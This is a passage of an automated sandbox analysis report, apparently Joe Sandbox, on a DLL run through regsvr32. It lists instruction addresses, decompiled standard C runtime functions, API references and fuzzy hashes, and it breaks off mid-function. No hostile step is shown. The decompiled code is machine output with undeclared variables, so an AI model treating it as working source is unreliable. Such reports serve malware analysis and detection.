0x6dae22bc
0x6dae22bd
0x6dae22bd
0x6dae22bf
0x6dae22bf
0x6dae22c1
0x6dae22ce
0x6dae22ce
0x6dae22cf
0x6dae22d0
0x6dae22d2
0x6dae22d3
0x6dae22d4
0x6dae22dd
0x6dae22e0
0x6dae22e2
0x6dae22e3
0x6dae22e3
0x6dae22e5
0x6dae22e5
0x6dae22e5
0x6dae22e8
0x6dae22ea
0x6dae22ed
0x6dae22ef
0x6dae22f5
0x6dae22fa
0x6dae22fa
0x6dae2305
0x6dae2305
0x6dae22c3
0x6dae22c5
0x00000000
0x00000000
0x6dae22c7
0x00000000
0x00000000
0x6dae22c9
0x6dae22cc
0x00000000
0x00000000
0x00000000
0x6dae22cc
0x6dae2298
0x6dae229a
0x00000000
0x00000000
0x6dae229c
0x00000000
0x00000000
0x6dae229e
0x6dae22a1
0x00000000
0x00000000
0x00000000
0x6dae22a1
0x6dae226c
0x6dae2271
0x6dae2277
0x6dae2277
0x6dae2278
0x6dae2279
0x6dae227a
0x6dae227c
0x6dae2281
0x6dae2283
0x6dae2285
0x6dae228a
0x6dae228d
0x6dae228f
0x6dae2292
0x6dae2292
0x00000000
0x6dae2292
0x6dae2273
0x6dae2275
0x00000000
0x00000000
0x00000000
0x6dae2275
0x6dae224a
0x6dae224c
0x00000000
0x00000000
0x00000000
0x6dae224c
0x6dae2246
0x00000000
0x6dae2137
0x6dae2133
0x6dae20e8
0x6dae20f4
0x6dae20f4
0x6dae20f6
0x6dae20fd
0x00000000
0x6dae20fd
0x6dae20f8
0x00000000
0x6dae20f8
0x6dae20ab
0x6dae20b1
0x6dae20b1
0x6dae20b4
0x6dae20b4
0x6dae20b5
0x00000000
0x6dae20b5
0x6dae20ad
0x6dae20af
0x00000000
0x00000000
0x00000000
0x6dae20af
0x6dae206d
0x6dae2072
0x6dae2074
0x6dae2081
0x6dae2088
0x6dae208a
0x6dae2095
0x6dae2095
0x6dae2098
0x6dae209a
0x6dae209a
0x6dae209e
0x6dae2076
0x6dae2076
0x6dae2076
0x00000000
0x6dae2074
0x6dae2025
0x6dae202c
0x6dae202d
0x6dae202f
0x00000000

APIs

_strrchr.LIBCMT ref: 6DAE2081

Memory Dump Source

Source File: 00000017.00000002.524058416.000000006DA91000.00000020.00000001.01000000.00000008.sdmp, Offset: 6DA90000, based on PE: true

Associated: 00000017.00000002.524051789.000000006DA90000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000017.00000002.524109738.000000006DAEC000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000017.00000002.524133324.000000006DAF4000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000017.00000002.524146010.000000006DAF6000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_23_2_6da90000_regsvr32.jbxd

Similarity

API ID: _strrchr
String ID:
API String ID: 3213747228-0
Opcode ID: 11b1c95085ed90ed63f646ea018ea21f0b26c21c4d0c52dd0c6a6011423dc464
Instruction ID: 1b517a53e2cd3053b9d738568bfca6e7a89a216d907cb4edbc33ba7cc29e71ed
Opcode Fuzzy Hash: 11b1c95085ed90ed63f646ea018ea21f0b26c21c4d0c52dd0c6a6011423dc464
Instruction Fuzzy Hash: 33B17A3190C2479FEB21CF68CC90BEEBBF5EF55380F158169D951EB281D6348A81DB61

Uniqueness

Uniqueness Score: -1.00%

Function 6DADC0F4 Relevance: 6.2, APIs: 4, Instructions: 168
COMMONLIBRARYCODE

Download Yara Rule

C-Code - Quality: 70%

			E6DADC0F4(void* __ebx, void* __edi, void* __esi, void* __eflags) {
				signed int* _t52;
				signed int _t53;
				intOrPtr _t54;
				signed int _t58;
				signed int _t61;
				intOrPtr _t71;
				signed int _t75;
				signed int _t79;
				signed int _t81;
				signed int _t84;
				signed int _t85;
				signed int _t97;
				signed int* _t98;
				signed char* _t101;
				signed int _t107;
				void* _t111;

				_push(0x10);
				_push(0x6daf2520);
				E6DADADD0(__ebx, __edi, __esi);
				_t75 = 0;
				_t52 =  *(_t111 + 0x10);
				_t81 = _t52[1];
				if(_t81 == 0 ||  *((intOrPtr*)(_t81 + 8)) == 0) {
					L30:
					_t53 = 0;
					__eflags = 0;
					goto L31;
				} else {
					_t97 = _t52[2];
					if(_t97 != 0 ||  *_t52 < 0) {
						_t84 =  *_t52;
						_t107 =  *(_t111 + 0xc);
						if(_t84 >= 0) {
							_t107 = _t107 + 0xc + _t97;
						}
						 *(_t111 - 4) = _t75;
						_t101 =  *(_t111 + 0x14);
						if(_t84 >= 0 || ( *_t101 & 0x00000010) == 0) {
							L10:
							_t54 =  *((intOrPtr*)(_t111 + 8));
							__eflags = _t84 & 0x00000008;
							if((_t84 & 0x00000008) == 0) {
								__eflags =  *_t101 & 0x00000001;
								if(( *_t101 & 0x00000001) == 0) {
									_t84 =  *(_t54 + 0x18);
									__eflags = _t101[0x18] - _t75;
									if(_t101[0x18] != _t75) {
										__eflags = _t84;
										if(_t84 == 0) {
											goto L32;
										} else {
											__eflags = _t107;
											if(_t107 == 0) {
												goto L32;
											} else {
												__eflags =  *_t101 & 0x00000004;
												_t79 = 0;
												_t75 = (_t79 & 0xffffff00 | ( *_t101 & 0x00000004) != 0x00000000) + 1;
												__eflags = _t75;
												 *(_t111 - 0x20) = _t75;
												goto L29;
											}
										}
									} else {
										__eflags = _t84;
										if(_t84 == 0) {
											goto L32;
										} else {
											__eflags = _t107;
											if(_t107 == 0) {
												goto L32;
											} else {
												E6DADBA40(_t107, E6DADB255(_t84,  &(_t101[8])), _t101[0x14]);
												goto L29;
											}
										}
									}
								} else {
									__eflags =  *(_t54 + 0x18);
									if( *(_t54 + 0x18) == 0) {
										goto L32;
									} else {
										__eflags = _t107;
										if(_t107 == 0) {
											goto L32;
										} else {
											E6DADBA40(_t107,  *(_t54 + 0x18), _t101[0x14]);
											__eflags = _t101[0x14] - 4;
											if(_t101[0x14] == 4) {
												__eflags =  *_t107;
												if( *_t107 != 0) {
													_push( &(_t101[8]));
													_push( *_t107);
													goto L21;
												}
											}
											goto L29;
										}
									}
								}
							} else {
								_t84 =  *(_t54 + 0x18);
								goto L12;
							}
						} else {
							_t71 =  *0x6daf5358; // 0x0
							 *((intOrPtr*)(_t111 - 0x1c)) = _t71;
							if(_t71 == 0) {
								goto L10;
							} else {
								 *0x6daec164();
								_t84 =  *((intOrPtr*)(_t111 - 0x1c))();
								L12:
								if(_t84 == 0 || _t107 == 0) {
									L32:
									E6DAE0332(_t75, _t84, _t97, _t101, _t107);
									asm("int3");
									_push(8);
									_push(0x6daf2540);
									E6DADADD0(_t75, _t101, _t107);
									_t98 =  *(_t111 + 0x10);
									_t85 =  *(_t111 + 0xc);
									__eflags =  *_t98;
									if(__eflags >= 0) {
										_t103 = _t85 + 0xc + _t98[2];
										__eflags = _t85 + 0xc + _t98[2];
									} else {
										_t103 = _t85;
									}
									 *(_t111 - 4) =  *(_t111 - 4) & 0x00000000;
									_t108 =  *(_t111 + 0x14);
									_push( *(_t111 + 0x14));
									_push(_t98);
									_push(_t85);
									_t77 =  *((intOrPtr*)(_t111 + 8));
									_push( *((intOrPtr*)(_t111 + 8)));
									_t58 = E6DADC0F4(_t77, _t103, _t108, __eflags) - 1;
									__eflags = _t58;
									if(_t58 == 0) {
										_t61 = E6DADCE5E(_t103, _t108[0x18], E6DADB255( *((intOrPtr*)(_t77 + 0x18)),  &(_t108[8])));
									} else {
										_t61 = _t58 - 1;
										__eflags = _t61;
										if(_t61 == 0) {
											_t61 = E6DADCE6E(_t103, _t108[0x18], E6DADB255( *((intOrPtr*)(_t77 + 0x18)),  &(_t108[8])), 1);
										}
									}
									 *(_t111 - 4) = 0xfffffffe;
									 *[fs:0x0] =  *((intOrPtr*)(_t111 - 0x10));
									return _t61;
								} else {
									 *_t107 = _t84;
									_push( &(_t101[8]));
									_push(_t84);
									L21:
									 *_t107 = E6DADB255();
									L29:
									 *(_t111 - 4) = 0xfffffffe;
									_t53 = _t75;
									L31:
									 *[fs:0x0] =  *((intOrPtr*)(_t111 - 0x10));
									return _t53;
								}
							}
						}
					} else {
						goto L30;
					}
				}
			}

0x6dadc0f4
0x6dadc0f6
0x6dadc0fb
0x6dadc100
0x6dadc102
0x6dadc105
0x6dadc10a
0x6dadc21a
0x6dadc21a
0x6dadc21a
0x00000000
0x6dadc119
0x6dadc119
0x6dadc11e
0x6dadc128
0x6dadc12a
0x6dadc12f
0x6dadc134
0x6dadc134
0x6dadc136
0x6dadc139
0x6dadc13e
0x6dadc160
0x6dadc160
0x6dadc163
0x6dadc166
0x6dadc184
0x6dadc187
0x6dadc1c6
0x6dadc1c9
0x6dadc1cc
0x6dadc1f1
0x6dadc1f3
0x00000000
0x6dadc1f5
0x6dadc1f5
0x6dadc1f7
0x00000000
0x6dadc1f9
0x6dadc1f9
0x6dadc1fe
0x6dadc202
0x6dadc202
0x6dadc203
0x00000000
0x6dadc203
0x6dadc1f7
0x6dadc1ce
0x6dadc1ce
0x6dadc1d0
0x00000000
0x6dadc1d2
0x6dadc1d2
0x6dadc1d4
0x00000000
0x6dadc1d6
0x6dadc1e7
0x00000000
0x6dadc1ec
0x6dadc1d4
0x6dadc1d0
0x6dadc189
0x6dadc189
0x6dadc18d
0x00000000
0x6dadc193
0x6dadc193
0x6dadc195
0x00000000
0x6dadc19b
0x6dadc1a2
0x6dadc1aa
0x6dadc1ae
0x6dadc1b0
0x6dadc1b3
0x6dadc1b8
0x6dadc1b9
0x00000000
0x6dadc1b9
0x6dadc1b3
0x00000000
0x6dadc1ae
0x6dadc195
0x6dadc18d
0x6dadc168
0x6dadc168
0x00000000
0x6dadc168
0x6dadc145
0x6dadc145
0x6dadc14a
0x6dadc14f
0x00000000
0x6dadc151
0x6dadc153
0x6dadc15c
0x6dadc16b
0x6dadc16d
0x6dadc22c
0x6dadc22c
0x6dadc231
0x6dadc232
0x6dadc234
0x6dadc239
0x6dadc23e
0x6dadc241
0x6dadc244
0x6dadc247
0x6dadc250
0x6dadc250
0x6dadc249
0x6dadc249
0x6dadc249
0x6dadc253
0x6dadc257
0x6dadc25a
0x6dadc25b
0x6dadc25c
0x6dadc25d
0x6dadc260
0x6dadc269
0x6dadc269
0x6dadc26c
0x6dadc2a2
0x6dadc26e
0x6dadc26e
0x6dadc26e
0x6dadc271
0x6dadc288
0x6dadc288
0x6dadc271
0x6dadc2a7
0x6dadc2b1
0x6dadc2bd
0x6dadc17b
0x6dadc17b
0x6dadc180
0x6dadc181
0x6dadc1bb
0x6dadc1c2
0x6dadc206
0x6dadc206
0x6dadc20d
0x6dadc21c
0x6dadc21f
0x6dadc22b
0x6dadc22b
0x6dadc16d
0x6dadc14f
0x00000000
0x00000000
0x00000000
0x6dadc11e

APIs

___AdjustPointer.LIBCMT ref: 6DADC1BB
___AdjustPointer.LIBCMT ref: 6DADC1DE
___AdjustPointer.LIBCMT ref: 6DADC27A

Memory Dump Source

Source File: 00000017.00000002.524058416.000000006DA91000.00000020.00000001.01000000.00000008.sdmp, Offset: 6DA90000, based on PE: true

Associated: 00000017.00000002.524051789.000000006DA90000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000017.00000002.524109738.000000006DAEC000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000017.00000002.524133324.000000006DAF4000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000017.00000002.524146010.000000006DAF6000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_23_2_6da90000_regsvr32.jbxd

Similarity

API ID: AdjustPointer
String ID:
API String ID: 1740715915-0
Opcode ID: e31fd8d79be90a19caba92dbac65c06747666adbf984b108cf92276e1542e217
Instruction ID: 3df6096afa77200b30c2378a5006174b3ce9d288646066489d1555c4552f76e5
Opcode Fuzzy Hash: e31fd8d79be90a19caba92dbac65c06747666adbf984b108cf92276e1542e217
Instruction Fuzzy Hash: 6551DC7660C307AFEB959F90D940BBAB7B4FF48704F584129EA2587294E731E8C1CB91

Uniqueness

Uniqueness Score: -1.00%

Function 6DAE2C78 Relevance: 6.1, APIs: 4, Instructions: 86
COMMON

Download Yara Rule

C-Code - Quality: 100%

			E6DAE2C78(intOrPtr* _a4, intOrPtr _a8, intOrPtr _a16) {
				intOrPtr _t16;
				intOrPtr _t17;
				intOrPtr _t19;
				intOrPtr _t29;
				char _t31;
				intOrPtr _t38;
				intOrPtr* _t40;
				intOrPtr _t41;

				_t40 = _a4;
				if(_t40 != 0) {
					_t31 = 0;
					__eflags =  *_t40;
					if( *_t40 != 0) {
						_t16 = E6DAE3E6E(_a16, 0, _t40, 0xffffffff, 0, 0, 0, 0);
						__eflags = _t16;
						if(__eflags != 0) {
							_t38 = _a8;
							__eflags = _t16 -  *((intOrPtr*)(_t38 + 0xc));
							if(__eflags <= 0) {
								L11:
								_t17 = E6DAE3E6E(_a16, _t31, _t40, 0xffffffff,  *((intOrPtr*)(_t38 + 8)),  *((intOrPtr*)(_t38 + 0xc)), _t31, _t31);
								__eflags = _t17;
								if(__eflags != 0) {
									 *((intOrPtr*)(_t38 + 0x10)) = _t17 - 1;
									_t19 = 0;
									__eflags = 0;
								} else {
									E6DAE027C(GetLastError());
									_t19 =  *((intOrPtr*)(E6DAE02B2(__eflags)));
								}
								L14:
								return _t19;
							}
							_t19 = E6DAE32B4(_t38, __eflags, _t16);
							__eflags = _t19;
							if(_t19 != 0) {
								goto L14;
							}
							goto L11;
						}
						E6DAE027C(GetLastError());
						return  *((intOrPtr*)(E6DAE02B2(__eflags)));
					}
					_t41 = _a8;
					__eflags =  *((intOrPtr*)(_t41 + 0xc));
					if(__eflags != 0) {
						L6:
						 *((char*)( *((intOrPtr*)(_t41 + 8)))) = _t31;
						L2:
						 *((intOrPtr*)(_t41 + 0x10)) = _t31;
						return 0;
					}
					_t29 = E6DAE32B4(_t41, __eflags, 1);
					__eflags = _t29;
					if(_t29 != 0) {
						return _t29;
					}
					goto L6;
				}
				_t41 = _a8;
				E6DAE329A(_t41);
				_t31 = 0;
				 *((intOrPtr*)(_t41 + 8)) = 0;
				 *((intOrPtr*)(_t41 + 0xc)) = 0;
				goto L2;
			}

0x6dae2c7f
0x6dae2c84
0x6dae2ca2
0x6dae2ca4
0x6dae2ca7
0x6dae2cd4
0x6dae2cdc
0x6dae2cde
0x6dae2cf7
0x6dae2cfa
0x6dae2cfd
0x6dae2d0b
0x6dae2d1a
0x6dae2d22
0x6dae2d24
0x6dae2d3d
0x6dae2d40
0x6dae2d40
0x6dae2d26
0x6dae2d2d
0x6dae2d38
0x6dae2d38
0x6dae2d42
0x00000000
0x6dae2d42
0x6dae2d02
0x6dae2d07
0x6dae2d09
0x00000000
0x00000000
0x00000000
0x6dae2d09
0x6dae2ce7
0x00000000
0x6dae2cf2
0x6dae2ca9
0x6dae2cac
0x6dae2caf
0x6dae2cc2
0x6dae2cc5
0x6dae2c98
0x6dae2c98
0x00000000
0x6dae2c9b
0x6dae2cb5
0x6dae2cba
0x6dae2cbc
0x6dae2d46
0x6dae2d46
0x00000000
0x6dae2cbc
0x6dae2c86
0x6dae2c8b
0x6dae2c90
0x6dae2c92
0x6dae2c95
0x00000000

APIs

Part of subcall function 6DAE329A: _free.LIBCMT ref: 6DAE32A8

Part of subcall function 6DAE3E6E: WideCharToMultiByte.KERNEL32(?,00000000,00000000,?,00000001,6DAE1736,6DAE57F4,0000FDE9,00000000,?,?,?,6DAE556D,0000FDE9,00000000,?), ref: 6DAE3F1A

GetLastError.KERNEL32 ref: 6DAE2CE0
__dosmaperr.LIBCMT ref: 6DAE2CE7
GetLastError.KERNEL32(?,?,?,?,?,?,?), ref: 6DAE2D26
__dosmaperr.LIBCMT ref: 6DAE2D2D

Memory Dump Source

Source File: 00000017.00000002.524058416.000000006DA91000.00000020.00000001.01000000.00000008.sdmp, Offset: 6DA90000, based on PE: true

Associated: 00000017.00000002.524051789.000000006DA90000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000017.00000002.524109738.000000006DAEC000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000017.00000002.524133324.000000006DAF4000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000017.00000002.524146010.000000006DAF6000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_23_2_6da90000_regsvr32.jbxd

Similarity

API ID: ErrorLast__dosmaperr$ByteCharMultiWide_free
String ID:
API String ID: 167067550-0
Opcode ID: 8ad127ad7fb68307282423c89e6cf3664e10a425de021b5b92c0f4a3bbbf07ea
Instruction ID: bd5c1478e93cba099821c066eed75c3cd646aa479c8770f2ddc8ba84fa8cd764
Opcode Fuzzy Hash: 8ad127ad7fb68307282423c89e6cf3664e10a425de021b5b92c0f4a3bbbf07ea
Instruction Fuzzy Hash: CA21B07260C307AFD7204F6AC98096BB7B8FF443E87158518EA5597260DB30EC80E7A1

Uniqueness

Uniqueness Score: -1.00%

Function 6DAE0E6C Relevance: 6.1, APIs: 4, Instructions: 72
COMMONLIBRARYCODE

Download Yara Rule

C-Code - Quality: 79%

			E6DAE0E6C(void* __ecx, void* __edx) {
				void* __ebx;
				void* __edi;
				void* __esi;
				intOrPtr _t2;
				long _t3;
				intOrPtr _t5;
				long _t6;
				intOrPtr _t9;
				long _t10;
				signed int _t12;
				signed int _t39;
				signed int _t40;
				void* _t43;
				void* _t49;
				signed int _t51;
				signed int _t53;
				signed int _t54;
				long _t56;
				long _t60;
				long _t61;
				void* _t65;

				_t49 = __edx;
				_t43 = __ecx;
				_t60 = GetLastError();
				_t2 =  *0x6daf4110; // 0x7
				_t67 = _t2 - 0xffffffff;
				if(_t2 == 0xffffffff) {
					L6:
					_t3 = E6DAE1409(__eflags, _t2, 0xffffffff);
					__eflags = _t3;
					if(_t3 == 0) {
						goto L3;
					} else {
						_t51 = E6DAE10F8(1, 0x364);
						_pop(_t43);
						__eflags = _t51;
						if(__eflags != 0) {
							__eflags = E6DAE1409(__eflags,  *0x6daf4110, _t51);
							if(__eflags != 0) {
								E6DAE0C6E(_t51, 0x6daf583c);
								E6DAE10BE(0);
								_t65 = _t65 + 0xc;
								goto L13;
							} else {
								_t39 = 0;
								E6DAE1409(__eflags,  *0x6daf4110, 0);
								_push(_t51);
								goto L9;
							}
						} else {
							_t39 = 0;
							__eflags = 0;
							E6DAE1409(0,  *0x6daf4110, 0);
							_push(0);
							L9:
							E6DAE10BE();
							_pop(_t43);
							goto L4;
						}
					}
				} else {
					_t51 = E6DAE13CA(_t67, _t2);
					if(_t51 == 0) {
						_t2 =  *0x6daf4110; // 0x7
						goto L6;
					} else {
						if(_t51 != 0xffffffff) {
							L13:
							_t39 = _t51;
						} else {
							L3:
							_t39 = 0;
							L4:
							_t51 = _t39;
						}
					}
				}
				SetLastError(_t60);
				asm("sbb edi, edi");
				_t53 =  ~_t51 & _t39;
				if(_t53 == 0) {
					E6DAE0332(_t39, _t43, _t49, _t53, _t60);
					asm("int3");
					_t5 =  *0x6daf4110; // 0x7
					_push(_t60);
					__eflags = _t5 - 0xffffffff;
					if(__eflags == 0) {
						L22:
						_t6 = E6DAE1409(__eflags, _t5, 0xffffffff);
						__eflags = _t6;
						if(_t6 == 0) {
							goto L31;
						} else {
							_t60 = E6DAE10F8(1, 0x364);
							_pop(_t43);
							__eflags = _t60;
							if(__eflags != 0) {
								__eflags = E6DAE1409(__eflags,  *0x6daf4110, _t60);
								if(__eflags != 0) {
									E6DAE0C6E(_t60, 0x6daf583c);
									E6DAE10BE(0);
									_t65 = _t65 + 0xc;
									goto L29;
								} else {
									E6DAE1409(__eflags,  *0x6daf4110, _t21);
									_push(_t60);
									goto L25;
								}
							} else {
								E6DAE1409(__eflags,  *0x6daf4110, _t20);
								_push(_t60);
								L25:
								E6DAE10BE();
								_pop(_t43);
								goto L31;
							}
						}
					} else {
						_t60 = E6DAE13CA(__eflags, _t5);
						__eflags = _t60;
						if(__eflags == 0) {
							_t5 =  *0x6daf4110; // 0x7
							goto L22;
						} else {
							__eflags = _t60 - 0xffffffff;
							if(_t60 == 0xffffffff) {
								L31:
								E6DAE0332(_t39, _t43, _t49, _t53, _t60);
								asm("int3");
								_push(_t39);
								_push(_t60);
								_push(_t53);
								_t61 = GetLastError();
								_t9 =  *0x6daf4110; // 0x7
								__eflags = _t9 - 0xffffffff;
								if(__eflags == 0) {
									L38:
									_t10 = E6DAE1409(__eflags, _t9, 0xffffffff);
									__eflags = _t10;
									if(_t10 == 0) {
										goto L35;
									} else {
										_t12 = E6DAE10F8(1, 0x364); // executed
										_t54 = _t12;
										__eflags = _t54;
										if(__eflags != 0) {
											__eflags = E6DAE1409(__eflags,  *0x6daf4110, _t54);
											if(__eflags != 0) {
												E6DAE0C6E(_t54, 0x6daf583c);
												E6DAE10BE(0);
												goto L45;
											} else {
												_t40 = 0;
												E6DAE1409(__eflags,  *0x6daf4110, 0);
												_push(_t54);
												goto L41;
											}
										} else {
											_t40 = 0;
											__eflags = 0;
											E6DAE1409(0,  *0x6daf4110, 0);
											_push(0);
											L41:
											E6DAE10BE();
											goto L36;
										}
									}
								} else {
									_t54 = E6DAE13CA(__eflags, _t9);
									__eflags = _t54;
									if(__eflags == 0) {
										_t9 =  *0x6daf4110; // 0x7
										goto L38;
									} else {
										__eflags = _t54 - 0xffffffff;
										if(_t54 != 0xffffffff) {
											L45:
											_t40 = _t54;
										} else {
											L35:
											_t40 = 0;
											__eflags = 0;
											L36:
											_t54 = _t40;
										}
									}
								}
								SetLastError(_t61);
								asm("sbb edi, edi");
								_t56 =  ~_t54 & _t40;
								__eflags = _t56;
								return _t56;
							} else {
								L29:
								__eflags = _t60;
								if(_t60 == 0) {
									goto L31;
								} else {
									return _t60;
								}
							}
						}
					}
				} else {
					return _t53;
				}
			}

0x6dae0e6c
0x6dae0e6c
0x6dae0e77
0x6dae0e79
0x6dae0e7e
0x6dae0e81
0x6dae0e9f
0x6dae0ea2
0x6dae0ea7
0x6dae0ea9
0x00000000
0x6dae0eab
0x6dae0eb7
0x6dae0eba
0x6dae0ebb
0x6dae0ebd
0x6dae0ee2
0x6dae0ee4
0x6dae0efd
0x6dae0f04
0x6dae0f09
0x00000000
0x6dae0ee6
0x6dae0ee6
0x6dae0eef
0x6dae0ef4
0x00000000
0x6dae0ef4
0x6dae0ebf
0x6dae0ebf
0x6dae0ebf
0x6dae0ec8
0x6dae0ecd
0x6dae0ece
0x6dae0ece
0x6dae0ed3
0x00000000
0x6dae0ed3
0x6dae0ebd
0x6dae0e83
0x6dae0e89
0x6dae0e8d
0x6dae0e9a
0x00000000
0x6dae0e8f
0x6dae0e92
0x6dae0f0c
0x6dae0f0c
0x6dae0e94
0x6dae0e94
0x6dae0e94
0x6dae0e96
0x6dae0e96
0x6dae0e96
0x6dae0e92
0x6dae0e8d
0x6dae0f0f
0x6dae0f17
0x6dae0f19
0x6dae0f1b
0x6dae0f23
0x6dae0f28
0x6dae0f29
0x6dae0f2e
0x6dae0f2f
0x6dae0f32
0x6dae0f4c
0x6dae0f4f
0x6dae0f54
0x6dae0f56
0x00000000
0x6dae0f58
0x6dae0f64
0x6dae0f67
0x6dae0f68
0x6dae0f6a
0x6dae0f8d
0x6dae0f8f
0x6dae0fa6
0x6dae0fad
0x6dae0fb2
0x00000000
0x6dae0f91
0x6dae0f98
0x6dae0f9d
0x00000000
0x6dae0f9d
0x6dae0f6c
0x6dae0f73
0x6dae0f78
0x6dae0f79
0x6dae0f79
0x6dae0f7e
0x00000000
0x6dae0f7e
0x6dae0f6a
0x6dae0f34
0x6dae0f3a
0x6dae0f3c
0x6dae0f3e
0x6dae0f47
0x00000000
0x6dae0f40
0x6dae0f40
0x6dae0f43
0x6dae0fbd
0x6dae0fbd
0x6dae0fc2
0x6dae0fc5
0x6dae0fc6
0x6dae0fc7
0x6dae0fce
0x6dae0fd0
0x6dae0fd5
0x6dae0fd8
0x6dae0ff6
0x6dae0ff9
0x6dae0ffe
0x6dae1000
0x00000000
0x6dae1002
0x6dae1009
0x6dae100e
0x6dae1012
0x6dae1014
0x6dae1039
0x6dae103b
0x6dae1054
0x6dae105b
0x00000000
0x6dae103d
0x6dae103d
0x6dae1046
0x6dae104b
0x00000000
0x6dae104b
0x6dae1016
0x6dae1016
0x6dae1016
0x6dae101f
0x6dae1024
0x6dae1025
0x6dae1025
0x00000000
0x6dae102a
0x6dae1014
0x6dae0fda
0x6dae0fe0
0x6dae0fe2
0x6dae0fe4
0x6dae0ff1
0x00000000
0x6dae0fe6
0x6dae0fe6
0x6dae0fe9
0x6dae1063
0x6dae1063
0x6dae0feb
0x6dae0feb
0x6dae0feb
0x6dae0feb
0x6dae0fed
0x6dae0fed
0x6dae0fed
0x6dae0fe9
0x6dae0fe4
0x6dae1066
0x6dae106e
0x6dae1070
0x6dae1070
0x6dae1077
0x6dae0f45
0x6dae0fb5
0x6dae0fb5
0x6dae0fb7
0x00000000
0x6dae0fb9
0x6dae0fbc
0x6dae0fbc
0x6dae0fb7
0x6dae0f43
0x6dae0f3e
0x6dae0f1d
0x6dae0f22
0x6dae0f22

APIs

GetLastError.KERNEL32(?,?,?,6DADD6E3,?,6DAD7C85,00000000), ref: 6DAE0E71
_free.LIBCMT ref: 6DAE0ECE
_free.LIBCMT ref: 6DAE0F04
SetLastError.KERNEL32(00000000,00000007,000000FF,?,?,?,6DADD6E3,?,6DAD7C85,00000000), ref: 6DAE0F0F

Memory Dump Source

Source File: 00000017.00000002.524058416.000000006DA91000.00000020.00000001.01000000.00000008.sdmp, Offset: 6DA90000, based on PE: true

Associated: 00000017.00000002.524051789.000000006DA90000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000017.00000002.524109738.000000006DAEC000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000017.00000002.524133324.000000006DAF4000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000017.00000002.524146010.000000006DAF6000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_23_2_6da90000_regsvr32.jbxd

Similarity

API ID: ErrorLast_free
String ID:
API String ID: 2283115069-0
Opcode ID: b6f5831ee9897d60dd7a61b410bf042a6ccba5469f1152c42adf1e4fc187e246
Instruction ID: 6dc389033f4df3f39a831d914a4880a309d7b0c1f0a93d445e2fc117fe26d306
Opcode Fuzzy Hash: b6f5831ee9897d60dd7a61b410bf042a6ccba5469f1152c42adf1e4fc187e246
Instruction Fuzzy Hash: D011297660C3126AD701137AAE80F3B257EABC23F97164634F238922C4EF618CC2F119

Uniqueness

Uniqueness Score: -1.00%

Function 6DAE9344 Relevance: 6.0, APIs: 4, Instructions: 29
COMMONLIBRARYCODE

Download Yara Rule

C-Code - Quality: 100%

			E6DAE9344(void* _a4, long _a8, DWORD* _a12) {
				void* _t13;

				_t13 = WriteConsoleW( *0x6daf4870, _a4, _a8, _a12, 0);
				if(_t13 == 0 && GetLastError() == 6) {
					E6DAE932D();
					E6DAE92EF();
					_t13 = WriteConsoleW( *0x6daf4870, _a4, _a8, _a12, _t13);
				}
				return _t13;
			}

0x6dae9361
0x6dae9365
0x6dae9372
0x6dae9377
0x6dae9392
0x6dae9392
0x6dae9398

APIs

WriteConsoleW.KERNEL32(?,?,00000000,00000000,?,?,6DAE87F3,?,00000001,?,00000001,?,6DAE5243,?,?,00000001), ref: 6DAE935B
GetLastError.KERNEL32(?,6DAE87F3,?,00000001,?,00000001,?,6DAE5243,?,?,00000001,?,00000001,?,6DAE578F,6DAE1736), ref: 6DAE9367

Part of subcall function 6DAE932D: CloseHandle.KERNEL32(FFFFFFFE,6DAE9377,?,6DAE87F3,?,00000001,?,00000001,?,6DAE5243,?,?,00000001,?,00000001), ref: 6DAE933D

___initconout.LIBCMT ref: 6DAE9377

Part of subcall function 6DAE92EF: CreateFileW.KERNEL32(CONOUT$,40000000,00000003,00000000,00000003,00000000,00000000,6DAE931E,6DAE87E0,00000001,?,6DAE5243,?,?,00000001,?), ref: 6DAE9302

WriteConsoleW.KERNEL32(?,?,00000000,00000000,?,6DAE87F3,?,00000001,?,00000001,?,6DAE5243,?,?,00000001,?), ref: 6DAE938C

Memory Dump Source

Source File: 00000017.00000002.524058416.000000006DA91000.00000020.00000001.01000000.00000008.sdmp, Offset: 6DA90000, based on PE: true

Associated: 00000017.00000002.524051789.000000006DA90000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000017.00000002.524109738.000000006DAEC000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000017.00000002.524133324.000000006DAF4000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000017.00000002.524146010.000000006DAF6000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_23_2_6da90000_regsvr32.jbxd

Similarity

API ID: ConsoleWrite$CloseCreateErrorFileHandleLast___initconout
String ID:
API String ID: 2744216297-0
Opcode ID: db17e6e13beb9735c04653e2dfbaa2bb7e7ab2eedcb0bd018154224e0285f813
Instruction ID: c232b64fb1a0bfccfdfa2919c885792e479bea696be7fb902e10ac79eaee92aa
Opcode Fuzzy Hash: db17e6e13beb9735c04653e2dfbaa2bb7e7ab2eedcb0bd018154224e0285f813
Instruction Fuzzy Hash: AFF09E3A508356BBCF121FD5DD08B993E76EB0A6B1B058454FA1895150D7318861FB91

Uniqueness

Uniqueness Score: -1.00%

Function 6DADF0E8 Relevance: 5.4, APIs: 2, Strings: 1, Instructions: 123
COMMON

Download Yara Rule

C-Code - Quality: 91%

			E6DADF0E8(void* __edx, intOrPtr _a4) {
				signed int _v8;
				void* _v12;
				char _v16;
				char* _v20;
				void* __ebx;
